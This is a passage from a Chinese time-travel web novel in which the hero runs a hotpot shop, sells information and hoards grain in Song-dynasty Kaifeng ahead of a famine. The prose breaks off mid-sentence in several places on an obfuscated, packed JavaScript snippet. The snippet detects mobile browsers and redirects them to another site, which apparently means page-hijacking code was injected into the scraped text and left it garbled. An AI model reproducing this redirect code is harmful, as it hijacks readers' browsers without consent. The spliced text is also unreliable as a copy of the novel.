他转身朝后厨喊了一声：“大锤，上一桌火锅！鸳鸯锅，多加肉！” 那顿饭吃了一个时辰。 三叔不怎么说话，但火锅倒是没少吃。麻辣锅涮羊肉，配上酸梅汤，老人家吃得满头大汗，脸上的皱纹都舒展开了。 萧北翊也不急着问，就是一边吃一边聊些有的没的——徐州的天气，徐州的熟人，阿诚在赤羽的情况。三叔有一搭没一搭地应着，但吃的速度一点没慢。 等桌上的菜吃得差不多了，萧北翊又上了一壶酒。 “三叔，”萧北翊给三叔倒了一杯酒，“咱们说正事。” 三叔端起酒杯，一饮而尽，然后把杯子重重地放在桌上。 “北，你是不是觉得三叔是来找你要东西的？” “难道不是？” “是，也不是。”三叔抹了抹嘴，浑浊的眼睛看着萧北翊，“陈大哥临终前，把你叫进去，说了什么，我没听见。但我猜得到。” “您猜到了什么？” “他让你来东京城，找一个人。找到那个人，你就知道自己的身世。”三叔的声音低沉而缓慢，“那个人，你已经找到了。对不对？” 萧北翊没有回答。 三叔也不需要他回答。老人站起来，走到窗前，背对着萧北翊。 “北，三叔今天来，不是为了跟你争东西。陈大哥的东西，他想给谁就给谁，三叔没资格说三道四。三叔来，是想告诉你一件事。” “什么事？” “当年你被陈大哥从街上捡回来的时候，身上有一块玉佩。陈大哥把那块玉佩收起来了，说要等你成年再还给你。他死之前，有没有把玉佩给你？” 萧北翊愣了一下。玉佩？他搜遍了原主的记忆，没有任何关于玉佩的印象。 “没有。” 三叔转过身，看着他，眼神复杂。 “那就对了。那块玉佩，不在陈大哥手里。在你来东京城之前，陈大哥把它交给了另外一个人。” “谁？” “我不能说。”三叔摇头，“那个人说了，等你长成了，能独当一面了，自然会来找你。” 萧北翊沉默了。这跟父亲信上说的“待你成年，自有人告诉你真相”如出一辙。 “三叔，您今天来，就是为了告诉我这些？” “不然呢？”三叔哼了一声，“我一个快入土的老头子，难道还要跟你抢地盘不成？” 萧北翊笑了。这个三叔，虽然嘴上不饶人，但骨子里不坏。他来东京城，不是来找麻烦的，而是来提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天一早，萧北翊让阿九把三叔的底细查了个清楚。 阿九的效率一如既往地高。到了傍晚，一份关于三叔的详细报告就摆在了萧北翊面前。 三叔，本名赵三，徐州人，年轻时是个走镖的镖师，后来因为伤了人，被镖局开除，流落街头，被陈布衣收留。两人拜了把子，赵三排行老三，所以人称“三叔”。陈布衣死后，赵三成了徐州丐帮的二号人物，但不大管事，整天在破庙里喝酒。 他跟萧北翊的父亲有什么关系？阿九没查到。陈布衣的过去，似乎被人刻意抹去了，能找到的信息少之又少。 萧北翊把报告放在一边，心里有了数。三叔不愿意说的东西，硬问也问不出来。只能等他自己想说的时候再说。 不急。他有的是耐心。 九月的最后一天，萧北翊在葫芦巷的院子里开了一个会。 赤羽的核心成员都到了——刘二、阿九、钱串子、赵大锤、孙驼子。阿诚第一次参加这种会，坐在角落里，眼睛瞪得大大的，不敢说话。 萧北翊把最近收集到的消息简单说了一遍，然后提出了一个新的计划。 “从下个月开始，赤羽要做的第一件事是——扩大囤粮。” 钱串子一愣：“萧哥，咱们已经囤了两百石了，还不够？” “不够。”萧北翊竖起两根手指，“我的目标是两千石。” 院子里安静了一瞬。两千石粮食，按现在的市价，需要五六百两银子。赤羽账上现在只有八十多两，缺口巨大。 “萧哥，”钱串子小心翼翼地问，“咱们哪来这么多银子？” “赚。”萧北翊说，“火锅店的利润，全部拿来买粮。同时，赤羽的消息买卖也要扩大。我最近整理了一下，咱们手里至少有十条可以卖钱的消息。刘二哥，你去联系一下周世昌，问他要不要买‘永丰粮铺囤粮’的消息。这条消息，值五十两。” 刘二点了点头。 “阿九，你去找孙七爷，问他有没有兴趣知道‘禁军都头来瓦舍看场子’的幕后是谁安排的。这条消息，值三十两。” 阿九点头。 “钱串子，你去一趟城中的‘恒通钱庄’，找那个胡掌柜，问他愿不愿意花钱买个平安。朱胖子的丑事，咱们手里有证据。三十两，封口费。” 钱串子的手抖了一下：“萧哥，这不就成了敲诈了吗？” “不是敲诈，”萧北翊笑了笑，“是信息变现。咱们手里的信息，对别人有价值，他们花钱买平安，公平交易。” 赵大锤在旁边嘀咕了一句：“这不就是敲诈嘛。” “闭嘴。”萧北翊瞪了他一眼，“这叫商业头脑。” 会议结束后，众人散去。阿诚最后一个走，走到门口又回头看了萧北翊一眼。 “北哥，”他小声说，“你变了。” 萧北翊愣了一下：“哪儿变了？” “你以前……不太爱说话。也不爱笑。”阿诚挠了挠头，“现在你特别能说，而且老笑。虽然笑起来挺好看的，但我总觉得，你笑的时候，心里在盘算别的事。” 萧北翊看着阿诚，忽然笑了——这次是真的笑。 “阿诚，你长大了。会看人了。” 阿诚不好意思地笑了笑，转身跑了。 萧北翊站在院子里，看着阿诚跑出去的背影，心里涌起一股暖意。 这个傻小子，虽然什么都不知道，但他的直觉很准。萧北翊确实变了——不是原主的那个萧北翊变了，而是穿越后的萧北翊，正在用自己的方式，在这个时代站稳脚跟。 不管前路有多少迷雾、多少敌人、多少未知的风险，他都不怕。 因为他有赤羽，有脑子，有一群愿意跟着他干的人。 还有一锅正在沸腾的鸳鸯锅。 萧北翊拍了拍身上的灰，走进北屋，点起油灯，开始规划下一阶段的布局。 窗外的月亮很圆很亮，照得葫芦巷的青石板路明晃晃的。 秋天的夜风从窗缝里钻进来，带着一丝凉意，但萧北翊的心里热乎乎的。 10. 第十章 信息换粮食，火锅结善缘 消息买卖的生意，比萧北翊预想的还要顺利。 刘二去找周世昌的时候，周世昌正在为“永丰粮铺”的事发愁。他的布庄虽然生意不错，但他老婆娘家是开粮铺的，最近被永丰粮铺挤得快要关门了。刘二把“永丰粮铺背后有神秘东家在大量囤粮”的消息一说，周世昌的眼睛立刻亮了。 “这消息值多少？”周世昌问。 刘二按照萧北翊的交代，伸出五根手指：“五十两。” 周世昌二话没说，从柜里取出五十两银子，连借据都没让写。他老婆的娘家要是能提前知道永丰粮铺的动向，提前应对，保住铺子，五十两算什么？ 刘二把银子扛回葫芦巷的时候，赵大锤的眼珠子都快瞪出来了。 “五十两？就一句话？” “不是一句话，”萧北翊接过银子，掂了掂分量，“是一条信息。信息就是钱，懂不懂？” 赵大锤挠挠头：“不懂。但五十两银子，真香。” 阿九去找孙七爷，过程就没那么顺利了。 孙七爷是个老狐狸，不是周世昌那种老实商人。阿九把“禁军都头马某来瓦舍看场子的幕后推手是丁谓的门客”的消息一说，孙七爷的脸色变了几变。 “这消息，你是从哪儿得来的？”孙七爷问。 阿九笑了笑：“七爷，我们赤羽做生意，从来不问消息来源。您买的是消息，不是消息的出处。” 孙七爷盯着她看了一会儿，然后哈哈大笑。 “好一个牙尖嘴利的丫头。萧子翼手下，果然没有废物。” 他痛快地付了三十两银子，还说了一句：“以后有好消息，尽管来找我。” 阿九回来汇报的时候，萧北翊正在院子里教阿诚认字。听完，他点了点头，没有多说什么。孙七爷这种人，愿意花钱买消息，说明他意识到了赤羽的价值。这是个好迹象。 钱串子的任务最棘手。 去恒通钱庄找胡掌柜“卖平安”，说白了就是拿着朱胖子的把柄去要钱。钱串子胆子小，在恒通钱庄门口转了三圈，愣是没敢进去。 最后还是萧北翊亲自出马。 他带着朱胖子欺负那个小姑娘的证词——不是正式文书，是那个小姑娘按了手印的陈述——走进了恒通钱庄。 胡掌柜是个四十来岁的胖子，圆脸，小眼睛，笑起来像个弥勒佛。但萧北翊知道，这个人在东京城的灰色地带混了二十年，手上不可能干净。 “胡掌柜，”萧北翊把证词放在柜台上，“朱胖子是您的人，对吧？” 胡掌柜看了一眼证词，脸上的笑容僵了一瞬，但很快恢复了。 “萧老板，有话直说。” “三十两。这事就当没发生过。” 胡掌柜沉默了一会儿，然后笑了。 “萧老板，你这不叫买卖消息，叫敲竹杠。” “胡掌柜要是不愿意，我也可以把这东西送到开封府去。”萧北翊笑眯眯地说，“不过到时候，就不止三十两了。” 胡掌柜盯着他看了好一会儿，最终还是从柜里取出了三十两银子。 “萧老板，后会有期。”胡掌柜把银子递过来的时候，语气里带着一丝警告。 萧北翊接过银子，拱了拱手：“胡掌柜放心，赤羽做生意，讲诚信。收了钱，这事就烂在肚子里。” 他转身走了，背后传来胡掌柜一声低低的哼声。 三笔消息买卖，一共进账一百一十两。加上火锅店一个月的利润六十多两，赤羽的账上一下子多了将近一百八十两银子。 钱串子算账的时候手都在抖：“萧哥，这是咱们成立以来，进账最多的一个月。” “还不够。”萧北翊说，“继续囤粮。城东的永丰粮铺在收粮，城北的顺和粮栈也在收粮，咱们不能落后。刘二哥，你认识粮商，去谈一批陈粮。陈粮便宜，能存得住，饥荒的时候一样能救命。” 刘二点头，领了任务去了。 萧北翊又转向阿九：“城西有个‘孙家磨坊’，专门磨面粉。你去跟他们谈，从下个月开始，咱们每个月买一百斤面粉。价格可以比市价高一点，但要求优先供应。” “萧哥，咱们要那么多面粉干嘛？”阿九不解。 “做储备。”萧北翊说，“面粉比粮食更值钱，也更容易出手。饥荒的时候，普通人家买不起整袋粮食，但买几斤面粉还是可以的。” 阿九若有所思地点了点头。 十月初，东京城下了第一场秋雨。 雨不大，淅淅沥沥地下了整整一天，把甜水巷的青石板路浇得油亮油亮的。火锅店的生意比平时淡了一些，但依然有客人撑着伞来吃。 萧北翊坐在柜台后面，翻看着赤羽最近一周的消息简报。 简报上密密麻麻地写满了各种信息。他一条一条地看过去，有些是没用的八卦，直接略过；有些是有价值的商贾动态，记在心里；还有一些，让他皱起了眉头。 城东的永丰粮铺，囤粮数量又增加了。根据线人的估算，这家铺子至少已经囤了三千石粮食，而且还在继续收。三千石，不是小数目。普通粮铺的正常库存也就是几百石，永丰粮铺的囤粮数量已经远超正常范围。 城南的益粮行，最近半个月有神秘买家频繁出入，每次都是深夜，行踪诡秘。线人没看清买家的脸，但听口音像是从四川来的。 城西的孙家瓦舍，新来的管事马都头，最近跟一个姓刘的禁军军官来往密切。两人在瓦舍的包厢里密谈了一个时辰，出来的时候马都头的脸色不太好看。 萧北翊在每一条信息旁边都做了批注。永丰粮铺的囤粮，让他想起了历史记载中的大中祥符五年饥荒——那时候，提前囤粮的商人都发了大财。但这个神秘东家囤粮的目的，单纯是为了赚钱，还是有别的用意？ 城南的神秘买家，让他警觉。四川来的商人，深夜出入粮行，这不像正常的粮食交易，更像是有人在秘密收购粮食，不想让人知道。 至于马都头和禁军军官的密谈，目前信息太少，不好判断。 萧北翊把简报收起来，走到窗前，看着外面的雨。 秋天的雨，带着一股凉意，打在脸上有些疼。他忽然想起了三叔说过的那些话——“那块玉佩，在你来东京城之前，陈大哥把它交给了另外一个人。那个人，等你长成了，能独当一面了，自然会来找你。” 长成。能独当一面。 萧北翊现在的火锅店月入六十多两，赤羽的消息网络覆盖全城，账上存了一百多两银子，手下二十几号人，还跟赵衍搭上了线。这算不算“能独当一面”？ 也许还不够。但他已经在路上了。 下午，雨停了。萧北翊正在后厨调底料，阿九走进来，说外面有人找他。 “谁？” “上次在赵府见过的那个老仆人。” 萧北翊擦了擦手，出去一看，果然是赵府的那个老仆人。老人穿着一件蓑衣，手里提着一个小竹篮，见了萧北翊，微微欠了欠身。 “萧公子，我家主人让我送些东西过来。” 他把竹篮放在柜台上，打开，里面是一坛酒和一封信。 萧北翊拿起信，拆开。信纸上是赵衍端正的小楷： “子翼吾弟：闻你火锅店生意兴隆，特送陈年花雕一坛，聊表心意。另，近日朝中有传闻，京东路、京西路明年或将有旱灾，户部已开始筹备赈灾事宜。你若有心，可提前准备。赵衍拜上。” 萧北翊把信折好，揣进怀里。 赵衍送酒是假，送消息是真。他在提醒萧北翊——饥荒的事，不是萧北翊一个人猜到的，朝中已经有人开始准备了。京东路、京西路，正是萧北翊之前推算的受灾区域。户部已经开始筹备赈灾，说明朝廷对明年的灾情已经有了预判。 这是一个重要的信号。如果朝廷提前准备了赈灾粮，饥荒的影响就会减小。萧北翊囤粮的收益也会相应降低。但是——朝廷的准备够不够？根据历史记载，北宋的赈灾能力有限，饥荒的时候照样饿死了不少人。 萧北翊决定继续囤粮，但调整策略：不光囤粮食，还要囤一些朝廷可能来不及准备的东西——比如药材、布匹、工具。饥荒的时候，这些东西比粮食更难买到。 他让阿九记下这些，安排人去办。 傍晚，三叔来了。 他没有空手来，而是提了一篮子柿子，说是从城外的柿子树上摘的。萧北翊接过柿子，让阿九洗了一盘端上来。 三叔吃了一个柿子，眯着眼睛，脸上的皱纹舒展开来。 “甜。”他说了一个字。 萧北翊坐在他对面，也拿起一个柿子吃。柿子很甜，甜得有点腻，但萧北翊吃得津津有味。 “三叔，您说那个人会来找我。”萧北翊边吃边说，“大概什么时候？” 三叔咀嚼的动作停了一下，然后继续嚼。 “不知道。他可能已经来了，在暗处看着你。也可能还没来，在等更好的时机。” “他在暗处看着我？”萧北翊笑了，“那我得表现得好一点。” 三叔看了他一眼，嘴角动了一下，像是在忍笑。 “你这个人，跟你爹一样，嘴贫。” 萧北翊放下柿子，认真地看着三叔。 “三叔，您能不能跟我说说我爹的事？我五岁就没了爹，对他的记忆很模糊。” 三叔沉默了很久。院子里的柿子树被风吹得沙沙响，几片黄叶飘落下来。 “你爹，”三叔终于开口，声音低沉，“是个好人。但好人没好报。” “怎么个好法？” “他在边关当将军的时候，从不克扣军饷，从不打骂士兵。打了胜仗，功劳分给手下。打了败仗，责任自己扛。”三叔的眼睛望着虚空中的某一点，像是在看着很远的地方，“这种人，在朝堂上活不长。” 萧北翊没说话。他知道三叔说的是对的。一个不会钻营、不会站队、不会溜须拍马的将军，在北宋的官场上，注定是异类。异类，就会被排挤，被陷害，被灭门。 “三叔，您也是我爹的手下？” 三叔摇了摇头：“我不是。我是陈大哥的手下。陈大哥是你爹的旧部。你爹出事之后，陈大哥离开了军队，回到徐州，当了乞丐。” 萧北翊的心脏猛地跳了一下。陈布衣——那个收养他的老乞丐——竟然是他父亲的旧部。难怪陈布衣知道他父亲的事，知道那本《孙子兵法》，知道他的身世。 “陈爷爷为什么要离开军队？” 三叔没有回答。 萧北翊追问：“是因为我爹的事？” 三叔还是没回答。他站起来，拿起空了的竹篮，朝门口走去。 “北，”他走到门口停下，头也不回地说，“有些事，不是三叔不愿意说，是三叔不能说。说出来，会害了你。” 他推开门，走进了夕阳里。 萧北翊坐在院子里，看着三叔的背影被夕阳拉得很长很长，直到消失在巷口。 他从怀里掏出赵衍的信，又看了一遍。 “京东路、京西路明年或将有旱灾。” 明年的饥荒，对他来说，是一个机会。既是可以赚钱的机会，也是可以救人的机会。如果赤羽能在饥荒到来之前做好准备，到时候不仅能赚一笔，还能收买人心，扩大势力。 更重要的是，饥荒期间，朝堂上的权力格局会发生微妙的变化。谁能在这个时候表现出能力，谁就能在未来的朝堂上占据一席之地。 萧北翊把信收好，站起来，拍了拍身上的灰。 “阿九，”他朝屋里喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650300|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声，“明天开始，多买几口大缸。存水。” “存水？”阿九从屋里探出头来，“存水干嘛？” “旱灾的时候，水比粮食还贵。” 阿九愣了一下，然后点了点头，没再问。 十月中旬，萧北翊做了一件让所有人都看不懂的事——他在火锅店的菜单上增加了两道菜：一道是“白菜炖豆腐”，一道是“萝卜炖粉条”。 这两道菜，成本极低，卖价也低，五文钱一份，比火锅便宜了不知道多少倍。赵大锤第一个跳出来反对：“萧哥，你疯了？咱们开的是火锅店，不是慈善堂！” 萧北翊不紧不慢地说：“大锤，你知道什么叫‘引流’吗？” “啥？” “把客人引进来。白菜炖豆腐不赚钱，但客人进来点了白菜炖豆腐，总得点壶茶吧？总得点点别的小菜吧？茶和小菜是赚钱的。” 赵大锤将信将疑。结果一个月下来，火锅店的客流量增加了三成，利润反而比上个月还多了十两。赵大锤彻底服了。 萧北翊心里清楚，这道菜真正的目的，不是为了“引流”，而是为了——练兵。他要在火锅店里训练赤羽的人怎么应对大规模的客流，怎么在混乱中维持秩序，怎么在人多的时候收集消息。这些东西，以后在饥荒的时候用得上。 饥荒时期，最难的不是没有粮食，而是秩序崩溃。到时候，懂得怎么组织人、怎么分配资源、怎么维持秩序的人，才是真正能救人的。 十月底，萧北翊接到赵衍的一封信，让他第二天酉时去赵府。 信上没有说是什么事，但萧北翊从信纸的质地和字迹的匆忙程度判断，应该不是什么坏事——真要是坏事，赵衍不会用这么正式的方式通知他。 第二天酉时，萧北翊准时到了赵府。老仆人领着他穿过前院，来到后花园的亭子里。赵衍已经在亭子里等着了，面前摆着两杯茶。 “坐。”赵衍示意他坐下。 萧北翊坐下，端起茶杯喝了一口。 “子翼，”赵衍放下茶杯，看着他的眼睛，“你最近在做的事，我都知道了。” 萧北翊心里一紧，但脸上不动声色。 “赵大哥说的是什么事？” “囤粮。存水。开火锅店。还有你的消息买卖。”赵衍的语气很平淡，但每说一个词，萧北翊的心就跳一下。 “赵大哥的消息很灵通。” “彼此彼此。”赵衍嘴角微微上扬，“我今天叫你来，不是要干涉你。相反，我要告诉你一件事——你做的事，是对的。” 萧北翊愣了一下：“对的？” “明年，京东路和京西路确实会有大旱。朝廷已经在准备了，但准备得不够。户部的那帮人，只会坐在衙门里算账，不知道下面的人真正需要什么。你提前囤粮、存水、训练人手，到时候能救不少人。” 萧北翊沉默了一会儿。 “赵大哥，您跟我说这些，是希望我做什么？” 赵衍看着他，目光深邃。 “我希望你，把赤羽做大。不是为我做，是为你自己做。但我需要告诉你一件事——你囤的粮食，到时候，朝廷可能会征用。” 萧北翊的瞳孔微微缩了一下。征用。这意味着他辛辛苦苦囤的粮食，到时候可能被官府强行买走，甚至没收。 “赵大哥这是在提醒我，还是在警告我？” “都不是。”赵衍说，“我是在告诉你，有一个办法，可以让你的粮食不被征用。” “什么办法？” “把粮食存在我的庄子上。”赵衍的语气很平静，“我的庄子不在官府征用的范围之内。你囤的粮食，放在我那里，没人能动。” 萧北翊看着他，心里飞快地盘算着。 赵衍这是在帮他，还是在把他绑上战车？粮食放在赵衍的庄子上，就等于把赤羽的命运跟赵衍绑在了一起。到时候，萧北翊想脱身都难。 但另一方面，赵衍说得对——粮食放在自己手里，官府随时可以征用。放在赵衍那里，确实更安全。 “赵大哥，”萧北翊说，“我需要想想。” 赵衍点了点头：“不急。你想好了，随时来找我。” 萧北翊从赵府出来的时候，天已经黑了。 他走在城中的街道上，脑子里反复想着赵衍的话。 把粮食存在赵衍的庄子上。这是一个机会，也是一个陷阱。机会是，赤羽可以借赵衍的庇护，躲过官府的征用。陷阱是，从此以后，赤羽就跟赵衍绑在了一起，再也分不开了。 萧北翊忽然想起了三叔的那句话：“有些事，不是三叔不愿意说，是三叔不能说。说出来，会害了你。” 赵衍是不是也有不能说的秘密？他跟程家的关系，他跟王钦若的恩怨，他到底想要什么——这些东西，赵衍从来没有跟萧北翊说过。 萧北翊深吸一口气，把这些念头压了下去。 不管赵衍的野心是什么，眼下最紧要的事，是明年的大旱。粮食必须存，而且必须存够。至于存到哪里，到时候再说。 他加快脚步，朝甜水巷走去。 火锅店的灯光在前方亮着，暖黄色的，在深秋的夜色里格外温暖。 萧北翊推开门，热气扑面而来。店里坐满了客人，赵大锤在后厨忙得满头大汗，阿九在柜台前算账，刘二在角落里跟一个线人低声交谈。 一切都跟平常一样。 萧北翊走到柜台前，拿起账册，翻到最后一页，在空白处写了一行字： “赤羽第七个月：存粮三百二十石，存银一百五十六两，人员三十一人。目标：千石粮，千人眼，十年局。” 他合上账册，把它放回抽屉里。 窗外，月光如水。 明天，又是新的一天。 11. 第十一章 粮商周胖子 十月的最后一天，萧北翊在火锅店做了一件让所有人都觉得奇怪的事——他在菜单上加了一道菜，叫“清汤萝卜”。 这菜没什么技术含量，就是把白萝卜切成大块，放在清水里煮烂，撒一把盐，几文钱一大碗。赵大锤看了直皱眉头：“萧哥，这玩意儿能好吃？” “好不好吃不重要。”萧北翊说，“重要的是便宜。” “便宜有什么用？卖这玩意儿能赚几个钱？” 萧北翊笑了笑，没解释。 他做这道菜，不是为了赚钱。东京城的冬天马上就要来了，每年冬天都有不少人冻死饿死。清汤萝卜成本低，卖得便宜，穷人吃不起火锅，但吃得起一碗萝卜。这不是生意，是给自己攒口碑。 口碑这东西，平时用不上，关键时候比银子还管用。 果然，清汤萝卜上了菜单之后，火锅店门口排队的队伍里，多了不少衣衫褴褛的人。他们吃不起火锅，但花几文钱买一碗热腾腾的萝卜汤，就着自带的干粮，也是一顿暖心的饭。 老孙头看见这景象，又开始嘀咕：“萧子翼这小子，做生意做疯了。萝卜汤能赚几个钱？还不够柴火费。” 但他嘀咕归嘀咕，自己也跟着做了一锅萝卜汤，摆在豆腐摊旁边卖。结果生意还不错，老孙头嘴上骂，心里其实挺佩服。 十一月初，萧北翊的囤粮计划遇到了一个麻烦——粮价开始涨了。 不是突然暴涨，而是缓慢地、一天一天地往上涨。半个月前，一斗米还只要四十文，现在已经涨到了四十五文。面粉的价格也涨了一成。 刘二打听到，涨价的不仅是东京城，京东路和京西路一带的粮价也在涨。有人在那边大量收购粮食，把价格抬上去了。 “查到是谁在收粮了吗？”萧北翊问。 刘二摇头：“查不到。这个人很隐蔽，每次都是通过不同的中间人，用不同的名义收购。线人只打听到，背后的人可能是从四川来的。” 又是四川。萧北翊的眉头皱了起来。 之前城南益粮行的神秘买家也是从四川来的。现在京东路、京西路也有人打着四川商人的名义在收粮。这不太可能是巧合。有人在下一盘大棋，而且这张棋盘的规模，比萧北翊想的要大得多。 “继续查。”萧北翊说，“不急，但要小心。不要打草惊蛇。” 刘二点头，转身走了。 萧北翊站在院子里，看着已经开始落叶的柿子树，脑子飞速转着。有人在提前布局，而且布局的范围不仅限于东京城，而是覆盖了京东路和京西路——那正是明年预计要闹旱灾的地方。 这个人，要么是有内部消息，要么是也懂“天气预报”。 但大中祥符年间的天气预报，靠的是钦天监的天象观测和历代积累的气象规律。普通商人不会有这个本事，除非他背后有钦天监的人，或者——他自己就是钦天监的。 萧北翊在心里记下了这个线索，决定暂时先按兵不动。对方到底是谁，迟早会浮出水面。 十一月中旬，火锅店来了一个特殊的客人。 说特殊，不是因为他的身份，而是因为他来的方式。不是从正门进来的，是从后门溜进来的。 那天下午，萧北翊正在后厨熬底料，忽然听见有人敲门。他打开后门，看见一个五十来岁的胖子，穿着一件灰扑扑的棉袍，圆脸红润，下巴上留着一撮小胡子，看起来像个富态的商人。 “萧老板？”胖子笑眯眯地问。 “我是。您是？” “免贵姓周，周德茂。”胖子拱了拱手，“城东‘永丰粮铺’的东家。久仰萧老板大名，特来拜访。” 永丰粮铺。萧北翊心里一动。就是那个大量囤粮、挤兑得周世昌老婆娘家快要关门的粮铺。它的东家来找他，什么意思？ 萧北翊不动声色地把胖子让进后厨，让阿九泡了一壶茶。 “周掌柜，您来找我，是有什么事？” 周德茂端起茶杯，喝了一口，眯着眼睛看着萧北翊。 “萧老板，明人不说暗话。我听说，你也在囤粮。” 萧北翊端茶的手微微一顿，然后恢复正常。 “周掌柜的消息很灵通。” “做粮食生意的，消息不灵通怎么行？”周德茂放下茶杯，凑近了一些，压低声音，“萧老板，我这次来，是想跟你合作。” “合作？怎么合作？” “我知道你在囤粮，我也在囤粮。咱们两家如果各囤各的，互相抬价，谁都不划算。如果联手，统一价格，统一收购，成本能降下来，利润能提上去。” 萧北翊看着周德茂，脑子飞快地转着。 周德茂说的是商场上最简单的道理——联手压价，垄断市场。听起来很美，但萧北翊心里清楚，这种“合作”背后，往往是更大的陷阱。 “周掌柜，”萧北翊放下茶杯，“我跟您说实话。我囤粮，不是为了赚钱。” 周德茂愣了一下：“不是为了赚钱？那你囤粮干嘛？” “存着。慢慢用。”萧北翊没有细说。 周德茂盯着他看了一会儿，似乎在判断这话的真假。然后他笑了，笑得很和善，但眼神里闪过一丝精明。 “萧老板，你这个人，有意思。不赚钱的生意也做。” “有些事，比赚钱重要。” “比方说？” “比方说，明年万一闹饥荒，手里有粮，能救人。” 周德茂的笑容僵了一瞬，然后恢复了正常。 “萧老板，你怎么知道明年要闹饥荒？” 萧北翊笑了笑：“猜的。” 周德茂看了他一眼，没有再追问。他站起来，从袖子里摸出一张名帖，放在桌上。 “萧老板，合作的事，你再考虑考虑。想好了，随时来找我。永丰粮铺的门，随时为你敞开。” 他拱了拱手，从后门走了。 萧北翊送走了周德茂，回到后厨，把那杯没喝完的茶倒了。 “阿九，”他叫来阿九，“帮我查一个人。周德茂，永丰粮铺的东家。查他的底细——他是什么时候开始做粮食生意的，背后有没有靠山，最近跟什么人走得近。” 阿九点头，领了任务去了。 周德茂的突然出现，让萧北翊心里多了一层警觉。 这个人主动来找他合作，说明他已经注意到了萧北翊的囤粮行动。一个粮商，为什么要关注一个火锅店老板囤不囤粮？除非——他自己也在囤粮，而且囤的数量很大，大到需要控制市场。 萧北翊决定放慢囤粮的速度。不是因为不想囤了，而是不想在这个时候引起太多人的注意。枪打出头鸟，这个道理他懂。 他让刘二暂时停止大规模收购，改为小批量、分散式地买。每次买一石两石，从不同的粮铺买，不引人注意。虽然慢，但安全。 十一月下旬，萧北翊收到了赵衍的第二封信。 信上只有短短几行字：“户部已定明年赈灾方案，拨粮十万石。但京东路、京西路受灾面广，十万石远远不够。你若有余力，可提前与当地豪绅联络，届时朝廷会以市价收购民间存粮。” 萧北翊把信看了三遍，然后折好，收进袖子里。 赵衍在暗示他——朝廷的赈灾粮不够，到时候需要从民间买粮。如果萧北翊囤的粮食足够多，不仅能救人，还能从朝廷手里赚一笔。 这是一个双赢的局面。朝廷买到粮食，萧北翊赚到银子，百姓吃到饭。问题是——萧北翊现在的存粮只有四百石，离他的目标还差得远。 他需要更多的银子来买粮。 火锅店的利润是稳定的，每个月六十多两，勉强够维持赤羽的开销和少量囤粮。消息买卖的进账不稳定，有时候一个月能进一百多两，有时候一分钱都进不来。 萧北翊开始琢磨一个新的赚钱门路——倒卖布匹。 这个想法来自于周世昌。前些日子，周世昌请萧北翊吃饭，席间抱怨最近布匹生意不好做，南方来的货贵，北方卖不上价，两头都赚不到钱。 萧北翊听了，心里一动。南方货贵，北方价低——这不就是套利空间吗？从南方进货，运到北方卖，赚中间的差价。这是最简单的商业模式，但需要本钱、需要渠道、需要运输。 赤羽有本钱吗？有，不多。有渠道吗？没有。有运输吗？更没有。 但萧北翊有脑子。 他问周世昌：“周掌柜，如果我能找到从南方运货来的船，你能不能帮我卖掉？” 周世昌想了想：“能。但得有货。” “货我来想办法。” 萧北翊的这个计划，听起来像个天方夜谭。一个乞丐，想从南方运布匹来卖？但萧北翊不是普通的乞丐。他有赤羽，有信息网络，有赵衍的关系。 他让阿九去查，南方哪个地方的布匹便宜，哪条运输路线最安全，哪个码头的运费最低。阿九花了一周时间，带回了一份详细的报告。 “萧哥，南方的布匹，最便宜的是成都府路。那边的蜀锦和细绢，价格比东京城低三成。但运输成本高，从成都到东京，走水路要两个多月，运费加上沿途的关卡税，利润就薄了。” “有没有近一点的地方？” “有两浙路。那边的丝绸和绢帛，价格比东京城低两成。走大运河，一个月能到，运费也便宜。” 萧北翊点了点头。两浙路，杭州、苏州、湖州那一带，自古就是丝绸之乡。从那里进货，运到东京城卖，赚两成的差价，扣除运费和税，还能剩一成。一成利润，听起来不多，但量大就可观了。 “阿九，你认识两浙路那边的商人吗？” 阿九摇头：“不认识。但可以找人牵线。周掌柜做布匹生意多年，他一定认识那边的人。” 萧北翊想了想，决定先找周世昌商量。 周世昌听了萧北翊的计划，眼睛亮了。 “萧兄弟，你这个想法，可行。我之前没想到，是因为我没本钱。你有本钱，我有渠道，咱们合伙干，赚了钱对半分。” 萧北翊笑了：“周掌柜，我不要对半分。我要三成就够了。货到了，你负责卖，我负责运。” 周世昌愣了一下：“你负责运？你有船吗？” “没有。但我有办法。” 萧北翊的办法很简单——找赵衍。 赵衍是郡王，手里有一些不用的船只，平时闲着也是闲着。萧北翊找他借两条船，从大运河跑一趟两浙路，来回两个月，运费全免。唯一要付出的，是分给赵衍一成的利润。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650301|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵衍听了萧北翊的请求，没有马上答应。 “子翼，你要做生意，我不反对。但你要想清楚——做生意不是你想的那么简单。大运河上盗匪横行，沿途关卡无数，一不小心，货没了，人也没了。” “我知道。”萧北翊说，“所以我不会让货单独走。我会派赤羽的人押船。” 赵衍看了他一眼，沉默了一会儿。 “船可以借你。但有一条——出了事，我不负责。” “那是自然。” 两人击掌为盟。赵衍借给萧北翊两条船，萧北翊每个月给赵衍一成利润作为回报。 萧北翊从赵府出来的时候，天已经黑了。他走在城中的街道上，脚步轻快。 